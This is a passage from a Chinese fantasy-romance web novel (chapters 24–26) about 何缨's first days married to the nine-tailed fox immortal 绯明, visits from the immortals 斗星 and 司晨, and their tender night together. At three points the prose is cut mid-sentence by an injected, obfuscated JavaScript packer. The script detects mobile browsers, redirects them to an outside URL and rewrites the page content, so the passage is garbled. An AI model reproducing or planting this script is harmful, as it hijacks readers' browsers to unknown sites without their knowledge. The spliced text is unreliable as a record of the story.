何缨在心底发出一声卧槽,“多少?你这么大岁……唔唔!” 绯明捂住了何缨的嘴,咬牙切齿,“不许说!” 何缨挣脱了他的桎梏,“你老牛吃嫩草!” 绯明捏住了何缨的下巴,“反正一次就化神,你干不干。” 何缨立即改口,“干!” 绯明将何缨压倒,何缨又觉得自己干不了,连忙大喊,“您您您等会儿!” 绯明咬牙,“又怎么了!” 何缨拧成了一团麻花,“要不然,咱们还是从单纯的双修开始……” 绯明别开眼看向一边,“……本座也没想要做不单纯的。” 何缨激动,“那你突然扑上来干嘛!跟狼似的!” 绯明无奈地用双臂撑起上身,将何缨困在他的双臂之间。 “你先闭眼。” “我不!” “只是闭眼,我不做什么。” 何缨满脸你看我信吗。 绯明没办法,他轻轻俯下身,两个人的额头轻轻相抵。 “让你闭眼是让你放松。功法记住了?” 何缨点了点头,却磕了绯明的额头一下。 绯明搂住何缨的肩,两个人缓缓地侧躺过来,额头依旧相抵。 绯明抓住何缨的手腕。 温热的仙力从绯明的掌心流淌进了何缨的脉络。 一种难以言喻的感觉经由手腕、额头,传遍了何缨全身。 ……并不痛苦,甚至还有点舒服。 渐渐地,何缨绷紧的身体放松下来,她的双手下意识抓在了绯明的衣襟上,意识缓缓沉入了一片深海。 她坠入海底,又倒转过来,落入天空。 不知多久,何缨从一片云朵上爬了起来。 在她的身后,一轮巨大的月亮散发着清幽的光辉。 何缨抬起头,一只巨大的九尾狐就躺在她身侧,正用赤红色眸子看着她。 “……绯明?”何缨在他身边坐下,伸手轻轻碰了碰他红色的茸毛。 绯明:“嗯。” 何缨见绯明没躲,于是大字型趴进了他的毛毛里。 狐狸毛又软又光滑,何缨连扑了两次,都顺着那柔顺的毛皮又滑到了地上。 绯明转过来,在何缨面前俯首。 “上来。” “我不会踩疼你吧?”何缨看着眼前的毛茸茸,很想立刻就撸上一把。 绯明嘲讽一笑,打量了一下何缨的小身板。 何缨从一只狐狸的表情中读出了就凭你三个字。 ……好吧,比起眼前的大狐狸,她确实太小了。 何缨愤愤地抓住绯明颈间的毛,爬到了他头上。 巨大的九尾狐微微仰起头,何缨便顺利地滑到了他的后背。 “这里是什么地方?你的元婴还是什么来着?”何缨想了半天自己看的小说,那个词就在嘴边,却怎么也想不起来。 “什么元婴。那是你们人类才有的玩意。这是我的忆海。” 你管他叫什么呢,你就说是不是存储过去记忆的地方吧! 何缨朝四周好奇地瞧了瞧。 这里似乎就是赤璃境,不过可能是过去的赤璃境。 院子里光秃秃的,池塘里也没有水。不远处,一座高大的宫殿巍然耸立。 何缨远远一望,就将大殿里的东西一览无余。 不是因为别的,而是那屋子里真的空荡荡一片,什么都没有。 何缨爬过去,把绯明的大尾巴当作滑梯,又滑了下来。朝那片小院跑去。 绯明没阻拦她。他的忆海里并没有什么秘密。 赤璃境很大。无论是何缨来时看到的那个,还是绯明记忆里的这个。 何缨绕过光秃秃的小花园,走过空无一物的回廊,绕过干涸的小池塘。她来到那似曾相识的大殿门口,抬起一只脚,小心地跨过了门槛。 并没有奇怪的禁制将她排斥在外。 大殿里空无一物。它并不衰败,相反,干净的连一点岁月的痕迹都不曾留下。 何缨四处转了转,照着短暂的记忆,大抵分辨出了现实中哪里放着床,哪里挂着画。 也就是说,那些家具和院子里的樱花树,都是最近才有的。 何缨离开这座空旷的大殿,沿着小路走到了湖边的凉亭。 凉亭里有一张躺椅和一张石桌。 何缨在冰冰凉凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785745|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的躺椅上坐下,这里正好能看到远处的那一轮圆月,和趴在月下的毛茸茸身影。 这片偌大的赤璃境,只用一个字就可以概括。 “空”。 空无一物。 直到这时何缨才忽然发觉,这片赤璃境明明是绯明历经千百年的住所,是承载了绯明记忆的地方,可是里面竟然没有任何属于绯明的私人物品。 像一间有人打理却无人使用的宅院,干净却干枯,宽广且孤寂。 逛了整整一圈,何缨既不知道绯明喜欢什么,也不知道绯明每日都会做些什么。 他和赤璃境,像是两件独立且互不关联的个体,不管将他们怎么摆放,都不会相融。 那么。每天独立于这空无一物的赤璃境中的绯明,又在想些什么? ...... 何缨醒来的时候,外面已经天光大亮。 绯明就如他所说的一般,只是单纯的双了个修,什么都没做。 何缨从空荡的床上坐起来,绯明不在,只留下了放在床头的一只储物袋。 是何缨一直以来用的那只。 环顾四周,平常她会用的东西也都摆在了熟悉的位置,何缨将喜服换下。 什么都没发生。 ……但是你让她真来点不单纯的双修,她还有点怂。 换上平日里常穿的红牡丹裙,何缨走出了大殿。 婚后第一天,仙界有什么规矩,她一概不知,只能先出来看看。 走到庭院里,何缨远远地便看到绯明背对她站在小花园里。 绯明挥袖,把何缨那片小葵花从安置在了花园里。他取出一只四四方方的盒子,将他一大早上从下界逮回来的蝴蝶放进了花园里。 蝴蝶们五彩缤纷地飞进了一片还没长成开花的葵花从里,趴在叶片上瑟瑟发抖。 何缨走近一看,忍不住笑出了声。 绯明一回头,何缨在明媚的春光下朱唇轻启,肩膀微微颤抖,眼睛笑成了弯弯的一条线。 “……有什么好笑的。” 何缨:“你这花园里一朵开放的花都没有,却抓来一大群蝴蝶。” 她说完,忽然又想起,这里是仙界。仙界的规矩,似乎并不能用人界的常理来衡量。 何缨不笑了,她偷偷观察绯明的反应,见他神色逐渐窘迫,这才放心下来,于是笑意又一次浮现在了嘴旁。 绯明好心帮何缨种花,结果反被取笑了一通,顿时羞恼万分,他装作若无其事地冷哼一声,“早晚会开,让它们等着。” 被抓来的蝴蝶:不敢吱声.jpg 何缨见绯明气鼓鼓地掉头就走,连忙追上去,“没关系,你抓来的蝴蝶都很好看,真的。“ 绯明脸色这才好了些,然而没走几步,何缨又一次笑开了。 何缨指着池塘里那大大小小的几条“生物“,笑出了眼泪来。 “你这池塘里养得什么啊哈哈哈哈哈哈哈哈哈哈哈!” 池塘不小,甚至还挺宽敞,问题是里面的活物有点太匪夷所思了。 原本还趴在岸边看热闹的雪豹被何缨这一笑,吓得钻回了水底。在他的旁边,还有一只跟大爷似的,大大咧咧爬在荷叶上的企鹅,以及一只捧着莲花表情十分睿智的海獭。水面平静无波,一只翻车鲀半死不活地从远方飘过来,转动眼珠子看了何缨一眼。 何缨捂着肚子在地上蹲了下来,笑得停不下来。“我从来没在池塘里见过他们,真是太意外了哈哈哈哈哈哈——” 你这哪是池塘啊,简直像AI合成的,也就是修仙小说里才能把这些东西放在池塘里养了。 绯明摸了摸鼻子。他当时就想着,既然何缨不喜欢人声,那就抓点别的东西到院子里,别显得那么空荡荡。 当时赤璃境正好在极北之海上方,他就顺手下去捞了几只回来。 要不是海豚和鲨鱼太大了,他没准也能捞回来几条。 绯明绷着脸,“不许笑。” 何缨好不容易才把着绯明的胳膊站直了身子,她把眼角的泪水擦干,“不笑了,我真的不笑了。” 何缨不敢再看那池塘一眼,她起抬头,一旁的樱花树上,一只五彩斑斓的大鸟正站在树杈上歪着脖子看她。它的身边一左一右,各站了一只大公鸡。 何缨:“噗。” 24. 24 斗星和司晨拎着礼盒,站在赤璃境外。 绯明的地盘没那么多说法,他让进,就能进,他不让,别说是没有通传的人,便是靠近赤璃境都不行,一靠近就会被烈焰灼烧。 两人之所以今天来这边,是因为绯明来讨要公鸡的时候,司晨问了他一句。 绯明不爱和别人多言,却也不是不懂礼貌,便解释了缘由。 原来是怕仙妃殿下来仙界不适应,太孤单。 斗星是个大大咧咧的性子,就说要去探望仙妃殿下。 司晨原本还怕绯明生气,结果绯明竟然认认真真地思考了许久,同意了。 于是两个人就来了。 不仅他们来了,司命仙君也来了。蓝舒和他们打了个招呼,就往赤璃境里跑,结果嘭得一声撞到了红色的屏障上。 斗星:“……” 司晨:“司命仙君真活泼。” 蓝舒从地上爬起来,以前的时候绯明布下结界之时,一般都是他心情不好或者祭典刚结束的那几天。没想到结了个婚竟然也布了结界。 蓝舒站在门口扯着嗓子大喊:“绯明你个没良心的!我们最贵的那一套床帐都被你抢跑了!还钱——“ 两位仙子立刻往旁边捎了捎,和蓝舒划清了界限。 赤璃镜里,何缨取笑了绯明许久,绯明恼羞成怒地抱起她,两个人在天上打转。 何缨拍打他的后背:“我都说了不笑你了!” 绯明:“你一直在笑根本没停过!” 何缨想起高兴的事情又笑出了声。她任凭绯明搂住她的腰,在他的怀抱里转过身来,远远的俯瞰赤璃境。 绯明闷闷地抵在她的肩窝。 现在的赤璃境可比绯明忆海里的赤璃境热闹多了,有数不清的樱花树,有马上就要开花的向日葵,有千奇百怪的飞禽走兽,还有一只抱着她撒娇的傻狐狸。 对哦,他是只狐狸。不知道池塘里该养什么也很正常。 看着看着,何缨看见了赤璃境外面站着的两女一男,她连忙拍打绯明的后背,“有人,有人来了!“ 境外的三人也看到了忽然飘到了天上的两人, 斗星:“这是什么情趣?嗨呀有媳妇真好,我也想这么玩。” 司晨:“你又说怪话。” 斗星:“你不就爱听我说怪话?” 司晨无可奈何地点了点头。 少顷,两个仙子和一个在地上耍无赖的蓝舒终于等来了绯明和何缨。 绯明沉着张脸,何缨神情冷淡。两个人往门口一站,那是冰山气场全开,仿佛能冻死方圆百里所有的活物。 斗星和司晨沉默了下来,连蓝舒都忘记了该怎么开口。 ……这和刚才在天上飘着的是同一对? 平时看绯明一个人冷着脸,没什么感觉,现在看着夫妻俩一个比一个冷淡,那才是真叫人说不出话。 最后还是司晨先开了口,她把手中的盒子捧给何缨,“欢迎你来仙界。” 她很谨慎地没有挑结婚的话题,以免这两个人有什么隔阂。 何缨看了眼绯明,绯明莫名其妙:“看我做甚,送你的,你收下就是。” 何缨无语,当然是因为不知道这都是谁啊! 算了,他是只狐狸,人情世故他不懂也很正常,何缨表示她也不想懂。 于是何缨将盒子接过来。 斗星是急脾气,她把手中的灯盏放在司晨的盒子上,“仙妃殿下好,我是斗星,天上所有的星星都归我管。这是我最近刚发现的一颗小的,拿来送给你,我听绯明尊上说你喜欢画画,这个当灯正好。“ 司晨笑了笑:“我是司晨,是斗星的朋友。我负责让新的一天开始,让天色亮起,太阳出来。盒子里是日出之时染红的一块留仙石,你想看日出的话,把它拿出来,就能看见了。“ 蓝舒从一边爬起来,“你们怎么都带礼物了,我这啥也没带啊!“ 绯明手中狐火已经点燃,“没带就滚。“ 蓝舒在身上乱翻,从兜里掏出一个破破烂烂的锦囊放到斗星那盏灯旁边,“我是司命蓝舒,这个是我测算千年算出来的锦囊妙计,专治仙尊各种不服!绯明要是哪天惹你生气了,你就打开看看,保准药到病除!” 何缨捏起锦囊,那锦囊是如此的弱不禁风,一捏就碎了。一张纸条出现在她的手中,上面写着一句话。 【莫成仙,莫成仙,人界赛过活神仙】 何缨:“……” 绯明一把狐火把蓝舒的新衣服又给烧碎了。 不过这次没碎的太严重,因为绯明不想让何缨看见别的男人赤/身/裸/体。 蓝舒嗷嗷地跑走了。 何缨和两位仙子面面相觑。 【龙套2416生命永恒】 【龙套2417生命永恒】 “……我叫何缨。” 斗星完全不见外,她拉着何缨就往赤璃境里走,“那多见外,喊你小青不行?“ 何缨又看了绯明一眼,见绯明没有阻拦他们,这才跟着斗星一起往里面走,“为什么是小青?” 难道你是白娘子? 斗星:“因为你是青鸾神座呀。” 何缨一愣,她又一次听到了这个词。 司晨拍了拍斗星的手,摇了摇头。“那边有凉亭,我们去那边坐坐?” 女孩子说话,绯明不好掺和,留下一句“你们随便“就到一边对着池塘发呆去了。 绯明没意见,何缨便也没什么意见。这两位仙子给她的感觉并不讨厌,她们的姿态很松弛,说话也自在。 而更主要的是,何缨有事要问。 “你们说,我是青鸾神座。” 斗星点了点头,“咦,你不知道吗?“ 石桌上一干二净,何缨觉得三个人就这么说话也不怎么好,于是就拿出她在人界做的爆米花分给她们吃。 斗星只吃了一粒,就瞪大了眼睛,“我去,我好久没吃过这么好吃的东西了!” 司晨笑,“我们在仙界许久不曾吃东西,让你见笑了。” 何缨摇了摇头,“凡界的修士也不怎么吃,平日里这些东西只有我自己吃罢了。” 三个人正聊着,一个小小的身影跑了过来,爬上了桌子。 何缨:“茸茸!” 桌上多了毛茸茸白花花的一只小狐狸崽,不是茸茸,还能是谁? 她抱起许久未见的小狐狸,连亲了好几口。 斗星和司晨惊掉了下巴。 “……你叫他什么?” 何缨撸了一把茸茸的毛,亲了亲他的耳朵。“他叫茸茸,是我养的狐狸。很可爱,你们要不要抱抱他?” 斗星和司晨疯狂摇头,“不用不用不用不用……” 谁敢把绯明仙尊抱在怀里撸毛啊!会被狐火烧得死无全尸吧! 何缨遗憾,看来她们并不喜欢毛茸茸。 何缨拿了些鸡肉丸出来给茸茸吃,又端了两碗刨冰出来请斗星和司晨。 “你们能不能告诉我,青鸾神座究竟是什么?” 斗星和司晨齐齐看向她怀里的狐狸。 狐狸叼着鸡肉丸吃的很香,在何缨怀里摊成了一张狐饼,并没有什么意见。 司晨:“……青鸾神座,就是青鸾一族的神尊。有了青鸾神座,世界上才会有新的青鸾鸟诞生。” 何缨惊掉了下巴,“所以我其实是一只青鸾鸟?” 二人摇了摇头。司晨:“这个我们也不清楚,照理说,青鸾一族每次轮回,依旧是青鸾。可我看你却并不像神兽一族,是人族才对。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今的景言川,已经是第五世。 斗星还惦念着他,那瓶香膏是第一世两人尚未修道之时,景言川买给她的。 于是斗星便用各种花瓣药草做香膏,每年赐福之时都要送给景言川一盒。就算景言川不去领,她要找办法弄到景言川身边几盒。 ……然而景言川是个大木头,他没有前世的记忆,根本不知道这香膏有什么意义。 何缨绞尽脑汁,细细讲述了景言川的性格和为人,努力替师兄解释了一番。 斗星听完后倒是十分意外,“原来他的性情变成这样,我认识他的时候,他还是个活泼的小太阳呢!” 何缨怕她失落,“师兄虽然人有点冷,但他是个好人,只是太过于专注剑道了。我入门时还送了我一缕剑意,我拿给你看。” 斗星并没有不高兴,只是像听故事一样,支着下巴听何缨讲景言川的事。 她拿起那枚储存着剑意的小小飞剑,微微一捏,那剑就散发出了光芒。斗星叹了口气,“没错,是他。唉,轮回真麻烦。算了,就这样吧,下回我送他几瓶丹药,让他好好修炼去。他若是能飞升成仙,之前的那些忘了就忘了吧。” 斗星把剑意还给何缨,又掏出几瓶香膏送给她。 “这些送给你,你回去和绯明尊上用吧。” 何缨茫然,“绯明也能用?” 斗星撇了一眼何缨怀里忽然支楞起耳朵的狐饼,嘴角牵起一个坏笑,“让他给你擦啊,这里面我加了合欢仙露,擦完后背擦身前,擦完立刻天雷勾动地火,不知天地为何物——” 25. 25 何缨被这突如其来的话题炸成了一朵红色蘑菇云,慌忙捂住了斗星的嘴。她紧张地回头瞥了眼绯明,见他还在池塘边忙活,并没注意到这边,这才松了口气。 原来这香膏是干这个用的! 斗星被捂住嘴也不恼,她看着脸色爆红的何缨,笑出了声。 “你真可爱啊,才就这么两句话,就脸红啦!” 司晨打圆场:“斗星她一聊起来就会越来越闹,你别听她瞎说。” 何缨连忙换了个话题,“没关系,我只是有点意外,之前我还以为仙界的仙人不能成婚呢。” 司晨却点了点头,“千年前的时候,确实不能。不过后来,仙界的人越来越多,每天还要忙着照看天地间的各项事务,忙里忙外却连个伴都没有,于是就重新修订了律法。凡是在月老那确确实实有姻缘线的,就可以成婚。只是成婚后,不能有孩子。不过,仙人本来就很难有孩子。” 何缨却是赞同地点了点头,“没孩子好!” 生孩子这事更是想都没想过! 斗星又开始说怪话,“就是就是,没有孩子就可以天天恩爱啦!想怎么做就怎么做!” 不是,这事怎么又拐回去了! 司晨却也跟着起哄,“况且,绯明尊上的法力和耐力,是我们仙界里最强大的,哪怕是天帝,也不及他半分。想必在那个方面,绯明尊上一定也……” 何缨举起狐饼捂住了脸。 你们仙界就没有别的事可以聊了吗! 斗星大笑,“我们都寡疯了,你让让我们吧。” ...... 绯明蹲在池塘边,把池塘里糯米团子一般的小海豹提起来。 从刚才到现在,他已经把这池子里的东西提起来又放回去好几次了。 他红着耳朵,又一次把海豹扔回了池塘里,给池塘换了第三次水。 海豹囧囧地沉到了水底,再也不肯浮上来了。 池塘里的小家伙们全都沉浸池底不肯出来,只剩一条扁扁的翻车鲀还在飘。绯明把它提起来,它也没什么反应,扔回去,依旧没什么反应。只是死鱼眼默默和绯明对视。 绯明:“……“他到底为什么会把这玩意捞回来? 何缨她们一直聊到夕阳西下,斗星要回去上班了,才依依不舍地结束。 斗星和司晨和她约好,半个月后一起回沧溟仙宗,看一眼景言川。何缨没想到原来上了仙界还能回去,当即高兴地答应了。 何缨一直送她们到门口,这才回过头来,路过池塘边时,她目不斜视,故作镇定地走回大殿,殊不知自己已经同手同脚。 绯明还在院子里不知道忙什么,何缨从柜子里掏出绯明给她准备的纸和笔,抱着茸茸回到樱花树下坐下。 原本还在樱花树上睡觉的大鸟感受到有人接近,睁开了眼睛。 “美女,一个人呀!” 绯明一团火把那鸟打了下来。 大鸟立刻叫喊起来,“喊错了!是夫人!夫人!” 何缨还想吐槽,绯明已经把它提起来扔回了境外的梧桐树上。 两只公鸡立刻咯咯惊叫着一并飞了。 绯明不动声色地倚着樱花树坐下,摆弄手中的铜镜,却又时不时偷瞄何缨两眼。小狐狸窝在两个人中间,装作一只小面包。 两个人谁也没说话。 何缨假装没看见绯明,一本正经画了凉亭,勾勒出一黑一白两个小姑娘的身影。 这是草稿,她又拿了一张纸叠在一起,这才开始正式作画。 她换了个坐姿,向后挪靠,顺手摸了一把小狐狸。 并没有摸到想象中的毛茸茸触感,何缨的左手向后一伸,不偏不倚同绯明的右手叠在了一起。温热的触感令何缨一颤,触电一般收回手,却被绯明一把握住。 ……好像一只猫,受到撩拨就要立刻抓回来。 何缨不敢偏头,她又想起了斗星的香膏。 何缨感觉自己的手心都冒了汗,挣了挣,却没挣开。 没画几笔,绯明的右手缓缓地聚拢,将何缨的手包裹在了手心,紧接着,又同她十指相扣。何缨拿笔的手一颤,一笔画歪。 粉红色的花瓣飘落在两人的肩头,又下落到二人紧握的手指间。 绯明忽然靠了过来,何缨偏过头,樱花树下,他们的影子好像在亲密接吻。 轻轻地,绯明换做左手同她交握,右手取下了她头上的那只步摇,放在了何缨手心。 毛笔掉落到了一边,何缨不知道他要做什么,随着绯明的动作,将那只步摇握在了掌心。 紧接着,何缨感受到了一阵炽热的灵力自她手心流过。绯明沿着何缨画错的那道笔迹,朝反方向勾勒。 奇迹般的事情发生了。 那道画错的笔触,竟然随着步摇的移动消失了。纸面上洁白如新,仿佛从未有过作画的痕迹。 何缨瞪大了双眼,回头和绯明对视。 绯明松开了手,示意何缨自己画。 何缨画了几笔,然后效仿绯明的姿势,运起灵力,将画错的那道朝反方向迂回。 步摇划过纸面,那道线真的消失了。 她的撤回键回来了!她的Ctrl+Z回来了! 何缨忍不住抓住了绯明的衣袖,“怎么做到的?好厉害!” “……里面放了轮回石。” 虽然不知道轮回石是什么,但听起来就十分高端大气上档次。 何缨的眼眸亮晶晶的,爱不释手地抚摸着绯樱步摇,神情里是毫不掩饰的钦慕。绯明不自然地轻咳一声,见她学会了使用方法,点了点头,又靠回了一旁。 距离稍远,他又换回右手,继续将何缨柔软的左手捧在掌心把玩。 有了撤回,何缨下笔如有神,没过多久,一座小亭里,两个姑娘捧着爆米花,言笑晏晏的模样出现在了画纸上。 在她们身侧,绯明坐在池塘边,拎着一条海豹。何缨故意画了狐狸耳朵在他头上,看起来傻傻的,可爱极了。 何缨满意地把画举起来看,将步摇插回自己的头上。 指尖抚过步摇上那朵艳丽的绯樱,何缨忽然想起了一件事。 景言川的那盒香膏,是斗星在每年的赐福之日于送给他的。 那么,这支赐福得来的步摇,莫非是…… 手中的画轻轻滑落,于是赤璃境又一次出现在了眼前。 樱花落了满池塘,葵花随着晚风从轻轻摇曳,蝴蝶安静地停泊在翠绿的叶片里。 何缨的心里打起了鼓,她不敢去想,这境中的一草一木,一花一叶,究竟是为谁而准备的。 何缨轻抚自己的胸膛。 ……在那之前,有一些事情,必须要问清楚。 “绯明尊上,我听斗星仙子说,我是青鸾神座转世。” 绯明眉头微蹙。 何缨继续说,“听说,我可以把其他人的怨恨和忧愁带走,存在自己的身上。” 绯明两只手一起捧住何缨的左手,垂下眼眸。“那是青鸾神座之能,成神之后或许可以。” 何缨转过头,蹭到绯明面前,“那,您希望我成神吗?” 有那么一瞬间,绯明看着那双柔软的唇,差一点就吻了下去。 微风吹动何缨的发丝,何缨看着那双晦暗的红色眼眸,心里想的却是,如果绯明说是,她就不再画画了。 不画画,不睡觉,也不休息。 潜心修炼,直到修为登仙,再去成神。 然后,她会完成绯明想要的事,再一个人独自离开。 何缨生来就学不会心安理得,为了表达感谢,她愿意帮绯明完成他想做的事。只要她能做到。 绯明看着何缨那对朱红色的唇,终是无法抑制,在她的唇角轻轻落下一吻。 “……成神做什么?你已经嫁给本座,是本座的人。便是成了神,本座追到天涯海角,也要把你抓回来。” 何缨说:“……这样吗。”怎么感觉好好的问题被他偷换概念变成了霸道总裁和带球跑啊。 紧绷的神经松懈了些许,何缨又问:“那您娶我回来,是喜欢我? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785747|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 绯明别开眼,搬出蓝舒说事,“司命说你同我有缘,月老也认可了这桩婚事。” 何缨发现绯明好懂得很,每次他不想说实话,就会转头,不敢看她的眼睛。 她大胆了起来,挣脱了绯明的手,爬到绯明身前,用双臂将他困在自己和樱花树之间。 何缨问:“这么说,你是因为有缘,才娶了我,其实并不喜欢我?” 绯明喉结涌动,难耐地扯了扯衣襟,垂眼看向何缨腰间的红牡丹花。 “……没有不喜欢你。” 何缨感觉自己这辈子从没提过这么多要求,看着眼前的男人,忽然就懂得了什么是欲望。 “那你变个狐狸耳朵给我看看,我就相信你。”何缨捧起绯明的脸。 绯明抬眸,“……什么?” 何缨在他头上比比划划,“就是那个,在头上的毛茸茸的耳朵。” 何缨举起怀里的茸茸,把耳朵给绯明看。 绯明:“……” 绯明起身,把何缨卷巴卷巴扛在肩上,“太晚了,回去睡觉。” 什么就晚了?哪晚了? 何缨一阵扑腾:“那尾巴!尾巴也行!给我看看嘛,都修仙了!睡什么觉!” 迈入大殿,绯明把何缨放在床上,“不睡?那做点别的?” 昨天双修完何缨修为长了不少,却并没有像绯明所说的到了化神期,只是堪堪停在了结婴边缘。 何缨:“你骗人,还说一下就能化神,我连元婴都没有。” 绯明替她将头上碍事的东西一样一样摘下,看她柔软的发丝顺着自己的手指间流去。 “因为太单纯了,效果没那么好。怎么,今天做点不单纯的?” 何缨一沾床就又开始怂,“那还是算了,这样挺好的,晋升太快容易道心不稳。” 何缨抱着小狐狸往床里挪了挪,“不然我们从头开始,先握手,再接吻,最后再……再那个。” 还没谈过恋爱的何缨表示,比起一步到位,她更想全都体验一遍。 什么你先追我,然后我不同意呀; 你走了,我又反过来追你,你又不同意呀; 兜兜转转杀个七进七出!再终成眷属。 不然说嫁就嫁了,一点起承转合都没有,像什么话! 绯明显然并不这么觉得,他握住何缨的双手,两只缠绕着红线的手紧紧贴在一起。 在他的概念里,第一步早都完成了,第二步还差一点。 他俯下身,在何缨绯红色的唇瓣上按了按。 何缨立刻知道他要干什么,呼吸一下子停滞。 绯明安抚性地亲了亲何缨的发丝和手背。 “……闭眼。”绯明说。 何缨这次听话地把眼睛闭上了,并且顺手替茸茸也把眼睛蒙上。 她整个人僵成了一只红花枕头。 绯明垂眸靠近,轻轻按住何缨的后脑勺,吻住了那双朝思暮想的唇。 何缨的睫毛微颤,一层瑰丽的红晕浮上了脸颊,唇上一片温热的触感。 许久过后。 “……你磕到我牙了!” 绯明无奈地捏了捏何缨的下巴。 何缨紧张的说话都不利索,“……要,要张嘴吗?” “……试试。” 又是一番过后。 何缨捂着嘴坐起来,“你竟然咬我!” 绯明握在她腰间的手抬起,擦掉唇上的血,“你不是咬回来了?” 何缨抱着茸茸转头蹭到被子里,闭上眼睛大声宣布:“我睡觉了!” 心脏还在突突地跳得飞快,何缨想,今晚大抵是睡不着了。 身后传来一阵被褥摩擦的稀稀簌簌声, 紧接着,是环佩叮当,衣服被甩在椅子上的声音。 身后的被子被人掀起了一个角。 一只手戳了戳她的后背。 “就这么睡,不换衣服了?” 何缨脸一下子红了,这狐狸怎么连她晚上睡觉要换睡衣都知道! 26. 26 “那你出去。”何缨闷闷地在被子里回答。 绯明用手指擦了一下他的唇,穿着玄色的里衣走到了屏风后面。 何缨这才从乾坤袋里掏出她平时最爱穿的轻薄透气款丝质睡衣换上,一回头,椅背上搭着一件赤红色的外袍,旁边的梳妆台上放着绯明常带的两块圆形玉佩。 何缨把自己的裙子搭在了绯明的衣服旁边,不知怎么,只是单单看着两件并排摆放的衣服,就一阵赧意。 何缨在床上连打了两圈滚,在心里嗷嗷喊了好久,吓得茸茸都跳下了床,她才若无其事地躺回刚才的位置。 “……我换好了。”何缨朝外间喊道。 喊完,何缨这才回过味来,绯明又不用睡觉,喊他干什么? 听到何缨的喊声,绯明绕过屏风回到了床边。 这一次,被子被人彻底掀开,温热的胸膛贴上了她的后背。 何缨本就没能平复的心跳又快了起来。 她攥紧胸口的被子,“你不是不用睡觉?“ 绯明:“你不是也不用?” 何缨:“我这叫——保留残存的人性。” 绯明沉默。 他抬起手,贴着薄薄的被子,静悄悄地伸到上方,又贴着何缨的腰缓缓落下。 何缨一缩,将他的手打掉,“干什么,痒死了。” 过了一会儿,就在何缨以为绯明老实了之后,一条毛茸茸的尾巴伸了出来,缠住了何缨的腰。 何缨腰间的痒痒肉被毛茸茸的尾巴轻蹭,她忍不住笑出了声,转过去打绯明,“你又干嘛!” 黑暗中,何缨顺着绯明的发丝往上,触碰到了一对柔软的耳朵。 “……本座保留一下残存的狐性,不行?” 何缨立马整个人都贴了过来,摸着那毛茸茸狐耳和尾巴爱不释手,“行,太行了!” 九尾狐的尾巴好多,她都摸不过来了! 何缨摸来摸去,欺身压在绯明身上。没过一会儿,腰间某处就热了起来。 何缨被硌了一下,小脸通红,连忙收回了手。 “……你解决一下?” 绯明沉着张脸,十分憔悴。 “不用。” 何缨:“那,亲一下?” 绯明:“……” 绯明感觉何缨根本就不是真心想让他解决一下,是让他上火来的。 何缨说完也后悔了,她恋恋不舍地又摸了一下绯明的尾巴尖儿,转过身冲着墙面壁装死。 后半夜的时候,绯明替熟睡中的何缨掖好被角,撩开她的头发,在后颈上轻吻了一下。他起身,捏着铜镜回到熟悉的大殿门口,躺下了。 何缨对此一无所知,并一觉睡到了大天亮。 只是在睡梦里的时候,何缨会偶尔闪过一丝疑惑。 刚才摸到的尾巴,好像只有八条来着? 第二天,绯明把铜镜重新炼制成了一条小吊坠,佩戴在何缨胸前。这样何缨就可以随时取用铜镜里的东西了。 斗星没事就喊何缨一起出去玩。绯明并没有禁止她出门,而嫁给一只仙狐,似乎既没有什么祖宗要拜,仙界也没有什么规矩要新婚眷侣做些什么。于是何缨就高高兴兴地和斗星还有司晨去逛街了。 池塘里的那几只海洋生物最终还是没有被送走,主要是仙界灵气充足,地方又好,它们来了也不是很想走,何缨就和绯明说养他们也挺好,毕竟别人的院子里可看不到他们。 绯明同意了,但是看着何缨每天路过小池塘去摸那只糯米团子海豹,又有些吃味。 于是何缨一出门,绯明就把它们几个叫出来训话,让他们少跟何缨卖萌。 海豹:“……” 海豹两眼泪汪汪,人家长得萌,有什么办法嘛。 仙界比何缨想象中还要好看,每路过一处景色,何缨都要停下来问问,这些都是谁的杰作。 司晨一一替她解答了,斗星却躺在她自己的那片星云上,百无聊赖。 仙境的景色每天都一成不变,这么多年过来,早都看腻了。 三人一直走到大西边的轮回井,这才原路返回。 得知那井连通鬼界,何缨有些好奇地张望,有那么一瞬间,一种似曾相识的感觉从井底传来,吸引着她跳进去。 但是也只是感觉,何缨摇了摇头,有些莫名其妙,跟随司晨和斗星离开了那里。 下界的前一天,绯明不知道打哪搜刮来了一尊很大的丹炉,比何缨原来在云淮的乾坤袋里翻出来的那个大多了。 正好人多,何缨就把她之前在沧溟买的食材全都拿了出来,涮起了火锅。 四个人都能吃辣,何缨就倒了半袋在香料铺子搜刮而来的干辣椒,用芝麻油做了油碟。 简单又热闹。 这次吃完了,正好下界再去买一些回来。 吃完饭,两位仙子同何缨告别。 临别时,她们同绯明对视了一眼,点了点头。 绯明亦颔首回应。 何缨没发现他们三人之间的异常,她还在想别的事情。 这次下界,她有问过绯明要不要一起,却被绯明拒绝了。 